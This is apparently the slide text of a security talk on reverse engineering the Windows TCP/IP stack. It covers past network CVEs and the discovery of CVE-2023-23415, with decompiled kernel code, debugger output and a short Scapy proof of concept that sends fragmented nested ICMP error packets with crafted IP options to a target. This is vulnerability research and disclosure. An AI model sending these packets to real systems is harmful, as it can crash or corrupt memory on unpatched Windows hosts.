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▪ Security Developer

▪ Malware detection and defence

▪ Previously was vulnerability researcher

About Me
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▪ Share approach to large systems

▪ Windows networking internals knowledge

▪ Weird machines are fun

Motivation



One Piece At A Time

Reversing Large Systems
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▪ Understand the system

▪ More knowledge leads to > odds of success

▪ Complexity leads to bugs

▪ Public documentation, other research

▪ Past vulnerabilities

Bug Hunting
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▪ Can't RE entire system

▪ Look for hints to promising locations (function names, 
strings, etc.)

▪ Use knowledge from research and analysis to locate 
interesting areas

▪ Combine dynamic and static analysis

▪ Don't be afraid to be wrong

Large Systems
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▪ Keep notes

▪ Cache limitations

▪ Function constraints or interesting behaviour

▪ Review notes periodically

Tips
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▪ Disassembler (Ghidra, IDA, etc.)

▪ Load public structures

▪ Kernel debugger (windbg)

▪ Python

▪ Scapy to craft packets

▪ Wireshark

Tools



Can you count the drivers

Windows Networking Internals
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Windows
TCPIP
Stack
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Windows
Filtering
Platform
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• tcpip!IPSecInboundTransportFilterCalloutClassifyV4/6

• tcpip!IPSecOutboundTransportFilterCalloutClassifyV4/6

• tcpip!IPSecInboundTunnelFilterCalloutClassifyV4/6

• tcpip!IPSecOutboundTunnelFilterCalloutClassifyV4/6

• tcpip!IPSecForwardInboundTunnelFilterCalloutClassifyV4/6

• tcpip!IPSecForwardOutboundTunnelFilterCalloutClassifyV4/6

• tcpip!IPSecInboundAcceptAuthorizeCalloutClassify

• tcpip!IPSecAleConnectCalloutClassify

• tcpip!WfpEnforceSilentDrop

• tcpip!WfpAlepSetOptionsCalloutClassify

• tcpip!IPSecInboundTunnelAcceptAuthorizeCalloutClassify

• tcpip!FlpEdgeTraversalCalloutClassify

• tcpip!IdpCalloutClassifyV4/6

• tcpip!TcpTemplatesFilter

• tcpip!WfpAlepDbgLowboxSetByPolicyLoopbackCalloutClassify

• tcpip!WfpAlepSetOptionsCalloutClassify

• tcpip!WfpAlepPolicySilentModeCalloutClassify

WFP Callouts
• tcpip!WfpAlepRioAppIdHelperCalloutClassify

• tcpip!WfpAlepSetBindIfListCalloutClassify

• tcpip!WfpVpnCalloutClassifyV4/6

• mpsdrv!MpsQueryUserCallout

• mpsdrv!MpsLoggingCallout

• mpsdrv!MpsSecondaryConnectionsCallout

• mpsdrv!MpsFlowEstablishedCallout

• mpsdrv!MpsStreamFlowAnalysisCallout

• mpsdrv!MpsStreamFlowAnalysisCallout

• Ndu!NduFlowEstablishedClassify

• Ndu!NduInboundTransportClassify

• Ndu!NduOutboundTransportClassify

• Ndu!NduInboundMacClassify

• Ndu!NduOutboundMacClassify

• WdNisDrv!wfp_callout::stream_classify

• WdNisDrv!wfp_callout::flow_established_classify
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• agilevpn.sys

• asynmac.sys

• bridge.sys

• bthpan.sys

• FWPKCLNT.sys

• ipfltdrv.sys

• ipnat.sys

• l2bridge.sys

• lltdio.sys

• mpsdrv.sys

• mslldp.sys

• NdisImPlatform.sys

• ndiswan.sys

• NetAdapterCx.sys

• netio.sys

• netvsc.sys

• nwifi.sys

Network Drivers
• pacer.sys

• PktMon.sys

• rasl2tp.sys

• raspppoe.sys

• raspptp.sys

• rassstp.sys

• rspndr.sys

• tcpip.sys

• tunnel.sys

• vfpext.sys

• vmswitch.sys

• wanarp.sys

• WdiWiFi.sys

• WdNisDrv.sys

• wfplwfs.sys

• Winnat.sys

• xboxgip.sys
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Network Input

Network

Card
IP (v4/v6)

Raw Client

TCP Client

UDP Client

ICMP (v4/v6) IGMP

IPSec

AH/ESP
IPv6 Options

TL Client Dispatch

Protol Demux

Transport 

Dispatch
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Key Structures
▪ Packet data handled with NET_BUFFER structures
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NET_BUFFER
MDL CHAIN
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Key Functions

▪ Returns pointer to packet data

▪ Storage parameter for contiguous data

▪ Fails if Storage is NULL and fragmented data

NDIS_EXPORTED_ROUTINE 

PVOID NdisGetDataBuffer(

[in]           NET_BUFFER *NetBuffer,

[in]           ULONG      BytesNeeded,

[in, optional] PVOID      Storage,

[in]           ULONG      AlignMultiple,

[in]           ULONG      AlignOffset

);
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Key Functions

▪ Adjusts DataOffset

▪ Can free MDLs as data is consumed

▪ Corresponding Retreat function

NDIS_EXPORTED_ROUTINE

VOID NdisAdvanceNetBufferDataStart(

[in]           NET_BUFFER          *NetBuffer,

[in]           ULONG               DataOffsetDelta,

[in]           BOOLEAN             FreeMdl,

[in, optional] NET_BUFFER_FREE_MDL *FreeMdlHandler

);



“Study history, study history. In history lies all the secrets of statecraft.” - Confucius

Historical Vulnerabilities
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Network CVEs

ID DoS RCE Stack Heap Frag

CVE-2013-3183

ICMPv6 Router Advertisement PoD
X

CVE-2020-16898

ICMPv6 Recursive DNS Server Option
X X X

CVE-2021-24086

IPv6 Nested Fragment
X X

CVE-2021-24074

IPv4 Fragment Reassembly
X X X

CVE-2021-24094

IPv6 Fragment Reassembly
X X X

CVE-2022-34718

IPv6 IPSEC ESP Fragmentation
X X X
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CVE-2020-16898
ICMPv6 Recursive DNS Server 
Option aka Bad Neighbour

▪ Ipv6pHandleRouterAdvertisement

▪ Length mismatch between validation and processing

▪ Leads to processing of unvalidated options

char localStorage[0x20];

…

data = NdisGetDataBuffer( NetBuffer, 

optionLength, // Not validated

localStorage,

0, 0 );
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CVE-2021-24074/94
IPv4/6 Fragment Reassembly

▪ Ipv4pReassembleDatagram and Ipv6pReassembleDatagram

▪ Data confusion between fragments

▪ CVE-2021-24074 leads to out of bounds write

▪ CVE-2021-24094 leads to use after free
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CVE-2022-34718
IPv6 IPSEC ESP Fragmentation  
aka EvilESP

▪ Ipv6ReassembleDatagram and IppReceiveEsp

▪ Out of order IPv6 options

▪ Options offset can point past end of fragment

▪ Leads to single byte memory corruption

// nextheader_offset is bigger than header buffer

header[ Reassembly->nextheader_offset ] =

Reassembly->nextheader_value;



Putting it all together

Path to 0day
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Code 
of
Interest

0: kd> x tcpip!*fragment*

fffff805`5c801e70 tcpip!Ipv6pFragmentPacketHelper (void)

fffff805`5c801590 tcpip!Ipv4pFragmentPacketHelper (void)

fffff805`5c94c360 tcpip!Ipv4pFragmentLookup (void)

fffff805`5c7fd220 tcpip!IppFragmentPackets (void)

fffff805`5c939a90 tcpip!IppAddFragmentToGroup (void)

fffff805`5c93a10c tcpip!IppFindLocationInFragmentGroup (void)

fffff805`5c93a1d0 tcpip!IppFindOrCreateGroupForFragment (void)

fffff805`5c94cbec tcpip!Ipv4pReceiveFragment (Ipv4pReceiveFragment)

fffff805`5c9ece40 tcpip!UrlpFeedQueryAndFragment (UrlpFeedQueryAndFragment)

fffff805`5c9524cc tcpip!Ipv6pFragmentLookup (Ipv6pFragmentLookup)

fffff805`5c952ee0 tcpip!Ipv6pReceiveFragment (Ipv6pReceiveFragment)

fffff805`5c952470 tcpip!Ipv6pAuthenticateFragmentHeader (Ipv6pAuthenticateFragmentHeader)

fffff805`5c9472d8 tcpip!Ipv4pCompactFragmentationHeader (Ipv4pCompactFragmentationHeader)

…

0: kd> x tcpip!*error*

fffff805`5c7fefe0 tcpip!IppSendErrorListForDiscardReason (void)

fffff805`5c8204e0 tcpip!WfpReportSysErrorAsNtStatus (void)

fffff805`5c820244 tcpip!IppAllocateIcmpError (void)

fffff805`5c81f4a8 tcpip!WfpCheckForTupleStateOnIcmpError (void)

fffff805`5c7bae6c tcpip!Icmpv4pHandleError (void)

fffff805`5c847dfc tcpip!WfpReportError (void)

fffff805`5c84a064 tcpip!Icmpv6pHandleError (void)

fffff805`5c848f98 tcpip!Icmpv6pHandleEchoReplyAndError (void)

fffff805`5c98b680 tcpip!SettingTcpAutotuningError

fffff805`5c8f1564 tcpip!IsICMPError (IsICMPError)

fffff805`5c8f17b0 tcpip!ProcessIcmpErrorClassify (ProcessIcmpErrorClassify)

fffff805`5c92ec10 tcpip!IpIpsProviderSendIcmpError (IpIpsProviderSendIcmpError)

fffff805`5c916ac4 tcpip!WfpReportSysErrorAsWinError (WfpReportSysErrorAsWinError)

fffff805`5c98b640 tcpip!PolicyKeynameSizeZeroError

…
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ICMP Error Packets
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ProcessIcmpErrorClassify()
void ProcessIcmpErrorClassify( NET_BUFFER *NetBuffer )

{

// Skip inner IP header to get protocol details

status = IppInspectSkipNetworkLayerHeaders( NetBuffer, &headerLength );

if ( 0 <= status ) {

NetioAdvanceNetBuffer( NetBuffer, headerLength );

WfpGetTLInfoForReceiveOnRawEndpoint( netBuffer, &tlInfo );

NetioRetreatNetBuffer( NetBuffer, headerLength, 0x0 );

if ( addr_type == AF_INET ) {

status = WfpInspectReceiveControlShimV4( NetBuffer, tlInfo );

}

if ( addr_type == AF_INET6 ) {

status = WfpInspectReceiveControlShimV6( NetBuffer, tlInfo );

}

}

return;

}

IcmpErrorClassify
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Ipv4pSkipNetworkLayerHeaders()

uint Ipv4pSkipNetworkLayerHeaders( void *NetBuffer )

{

char localStorage[0x14];

if( NetBuffer->DataLength >= 0x14 )

{

ipHeader = NdisGetDataBuffer( NetBuffer, 0x14, localStorage, 0x4 );

ipHeaderLength = (*ipHeader & 0xf) << 0x2;

if( 0x13 < ipHeaderLength && ipHeaderLength <= NetBuffer->DataLength ) {

if( ipHeaderLength != 0x14 ) {

NetioAdvanceNetBuffer( NetBuffer, 0x14 );

uVar3 = Ipv4ProcessOptionsHelper( NetBuffer

ipHeaderLength - 0x14,

NULL,

... );

NetioRetreatNetBuffer( NetBuffer, 0x14 );

}

}

...

}

}

IcmpErrorClassify

SkipHeaders
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Ipv4ProcessOptionsHelper()
uint Ipv4ProcessOptionsHelper( NET_BUFFER *NetBuffer, uint BufferLength, 

RECEIVE_CONTEXT *ContextData, ...)

{  

lengthProcessed = 0x0;

packetStart = NetBuffer->CurrentMdl->MappedSystemVa;

packetData = (byte *)( NetBuffer->CurrentMdlOffset + packetStart);

if (BufferLength != 0x0) {

do {

optionCode = packetData[0];

optionLength = packetData[1];

if( optionLength > BufferLength ) { return 0xc000021b; }

// Process Option

bufferLength = bufferLength - optionLength;

packetData = packetData + optionLength;

} while (bufferLength != 0x0);

}

return 0x0;

}

IcmpErrorClassify

SkipHeaders

ProcessOptions

???
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WfpProcessInTransport
StackIndication()

uint WfpProcessInTransportStackIndication( void* Arg0, NET_BUFFER *NetBuffer, ...)

{  

// Lots of stuff happens

if( Arg0->field_2fc & 0x20 ) {

ProcessIcmpErrorClassify( NetBuffer );

}

// More stuff happens

return 0x0;

}

IcmpErrorClassify

SkipHeaders

ProcessOptions

WfpTransportIn
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Making Sense of the Data
ContextData->field_0x110 = uVar1;

ContextData->field_0x2fc |= 0x8;

0: kd> !pool @r13

Pool page ffff92867ff21a20 region is Nonpaged pool

ffff92867ff21000 size:  a00 previous size:    0  (Allocated)  Thre

*ffff92867ff21a10 size:  300 previous size:    0  (Allocated) *AleE

Pooltag AleE : ALE endpoint context, Binary : tcpip.sys

ContextData->AleEndpoint = aleEndpoint;

ContextData->Flags |= 0x8;

0: kd> x tcpip!*aleendpoint*

fffff801`536333e0 tcpip!WfpAleEndpointCreationHandler (void)

fffff801`535c42c8 tcpip!WfpAleEndpointTeardownHandler (void)

fffff801`53610f60 tcpip!WfpAleEndpointDeactivationHandler (void)
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WfpProcessInTransport
StackIndication()

uint WfpProcessInTransportStackIndication( void* AleEndpoint, NET_BUFFER *NetBuffer, ...)

{  

// Lots of stuff happens

if( AleEndpoint->Flags & IS_RAW_SOCKET ) {

ProcessIcmpErrorClassify( NetBuffer );

}

// More stuff

return 0x0;

}

IcmpErrorClassify

SkipHeaders

ProcessOptions

WfpTransportIn
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Proof of Concept

IP HEADER
ICMP HEADER

(Type 12 = Param Err)

IP HEADER
(with options)

ICMP HEADER
(Type 0 = Echo Reply)

Not fragmentable

Outer ICMP Body

(aka error packet)

Target Fragment Location
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Proof of Concept
import scapy.all as scpy

def send_f(frags):

for f in frags:

scpy.send(f)

print("Sending nested ICMP Error")

send_f(fragment(IP(dst=target_ip) /

ICMP(type=12) /

IPerror(src="192.168.0.1", 

options=b"\x95\x26" + b"\x00" * 0x26 /

ICMP(),

fragsize=32), iface)
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Alternate Call Paths
• MSRC bulletin implied raw sockets were required

• Possible to reach with ICMP over IPSec tunnels



Where is the RCE?

CVSS 9.8
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CVE-2023-23415

• Original bug report was a DoS

• 2 months after confirmation, upgraded to RCE

• Is MSRC very, very conservative, or...

• Is there another code path?
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Ipv4pSkipNetworkLayerHeaders()

uint Ipv4pSkipNetworkLayerHeaders( void *NetBuffer )

{

char localStorage[0x14];

if( NetBuffer->DataLength >= 0x14 )

{

ipHeader = NdisGetDataBuffer( NetBuffer, 0x14, localStorage, 0x4 );

ipHeaderLength = (*ipHeader & 0xf) << 0x2;

if( 0x13 < ipHeaderLength && ipHeaderLength <= NetBuffer->DataLength ) {

if( ipHeaderLength != 0x14 ) {

NetioAdvanceNetBuffer( NetBuffer, 0x14 );

uVar3 = Ipv4ProcessOptionsHelper( NetBuffer

ipHeaderLength - 0x14,

NULL,

... );

NetioRetreatNetBuffer( NetBuffer, 0x14 );

}

}

...

}

}

IcmpErrorClassify

SkipHeaders
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Ipv4ProcessOptionsHelper()

uint Ipv4ProcessOptionsHelper( NET_BUFFER *NetBuffer, uint BufferLength, 

RECEIVE_CONTEXT *ContextData, ...)

{  

lengthProcessed = 0x0;

packetStart = NetBuffer->CurrentMdl->MappedSystemVa;

packetData = (byte *)( NetBuffer->CurrentMdlOffset + packetStart);

if (BufferLength != 0x0) {

do {

optionCode = packetData[0];

optionLength = packetData[1];

if( optionLength > BufferLength ) { return 0xc000021b; }

// Process Timestamp Option

if( optionCode == 0x44 && ContextData != NULL ) {

Ipv4pProcessTimestampOption( ContextData, (char *)packetData );

}

IcmpErrorClassify

SkipHeaders

ProcessOptions

WfpTransportIn
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IP Timestamp Option

The IP Timestamps Option records the time (in Universal Time) when each 

network device receives the packet during its trip from the point of origin 

to its destination
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Alternate Call Paths (Part 2)

0: kd> dps tcpip!Ipv4Global+50

fffff805`5c9ab050  00000000`00000004

fffff805`5c9ab058  fffff805`5c811f90 tcpip!Ipv4pValidateNetBuffer

fffff805`5c9ab060  fffff805`5c8345a0 tcpip!Ipv4pAddressInterface

fffff805`5c9ab068  fffff805`5c85bb80 tcpip!Ipv4pAddLinkLayerSuffixAddresses

fffff805`5c9ab070  fffff805`5c821580 tcpip!Ipv4pUnAddressInterface

fffff805`5c9ab078  fffff805`5c83ab70 tcpip!Ipv4pInitializeSubInterface

fffff805`5c9ab080  00000000`00000000

Ipv4pValidateNetBuffer -> Ipv4pProcessOptions -> Ipv4ProcessOptionsHelper

(with Receive Context pointer)
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IPSec

• IKEv1 vs IKEv2

• AH vs ESP vs AH+ESP

• Transport mode vs Tunnel mode

• Main mode vs Aggressive mode

• Other VPN implementations
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Exploitation

• Controlled:

• Allocation Size

• Overwrite Offset

• Not Controlled:

• Overwrite Contents

• Overwrite Length

• Not impossible but definitely non-trivial



Computers are hard

Conclusions
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@hexnomad@infosec.exchange

That's all folks!


